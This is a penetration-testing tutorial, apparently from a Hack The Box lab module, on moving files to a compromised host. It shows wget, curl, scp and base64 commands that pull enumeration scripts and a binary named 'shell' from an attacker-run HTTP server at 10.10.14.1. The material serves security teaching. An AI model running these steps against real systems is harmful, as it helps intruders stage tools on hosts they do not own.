Transferring Files

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During any penetration testing exercise, it is likely that we will need to transfer files to the remote server, such as enumeration scripts or exploits, or transfer data back to our attack host. While tools like Metasploit with a Meterpreter shell allow us to use the Upload command to upload a file, we need to learn methods to transfer files with a standard reverse shell.

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Using wget

There are many methods to accomplish this. One method is running a Python HTTP server on our machine and then using wget or cURL to download the file on the remote host. First, we go into the directory that contains the file we need to transfer and run a Python HTTP server in it:

0xH4shDumb@htb[/htb]$ cd /tmp
0xH4shDumb@htb[/htb]$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Now that we have set up a listening server on our machine, we can download the file on the remote host that we have code execution on:

user@remotehost$ wget http://10.10.14.1:8000/linenum.sh

...SNIP...
Saving to: 'linenum.sh'

linenum.sh 100%[==============================================>] 144.86K  --.-KB/s    in 0.02s

2021-02-08 18:09:19 (8.16 MB/s) - 'linenum.sh' saved [14337/14337]

Note that we used our IP 10.10.14.1 and the port our Python server runs on 8000. If the remote server does not have wget, we can use cURL to download the file:

user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

100  144k  100  144k    0     0  176k      0 --:--:-- --:--:-- --:--:-- 176k

Note that we used the -o flag to specify the output file name.

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Using SCP

Another method to transfer files would be using scp, granted we have obtained ssh user credentials on the remote host. We can do so as follows:

0xH4shDumb@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh

user@remotehost's password: *********
linenum.sh

Note that we specified the local file name after scp, and the remote directory will be saved to after the :.

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Using Base64

In some cases, we may not be able to transfer the file. For example, the remote host may have firewall protections that prevent us from downloading a file from our machine. In this type of situation, we can use a simple trick to base64 encode the file into base64 format, and then we can paste the base64 string on the remote server and decode it. For example, if we wanted to transfer a binary file called shell, we can base64 encode it as follows:

0xH4shDumb@htb[/htb]$ base64 shell -w 0

f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU

Now, we can copy this base64 string, go to the remote host, and use base64 -d to decode it, and pipe the output into a file:

user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

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Validating File Transfers

To validate the format of a file, we can run the file command on it:

user@remotehost$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

As we can see, when we run the file command on the shell file, it says that it is an ELF binary, meaning that we successfully transferred it. To ensure that we did not mess up the file during the encoding/decoding process, we can check its md5 hash. On our machine, we can run md5sum on it:

0xH4shDumb@htb[/htb]$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell

Now, we can go to the remote server and run the same command on the file we transferred:

user@remotehost$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell

As we can see, both files have the same md5 hash, meaning the file was transferred correctly. There are various other methods for transferring files. You can check out the File Transfers module for a more detailed study on transferring files.

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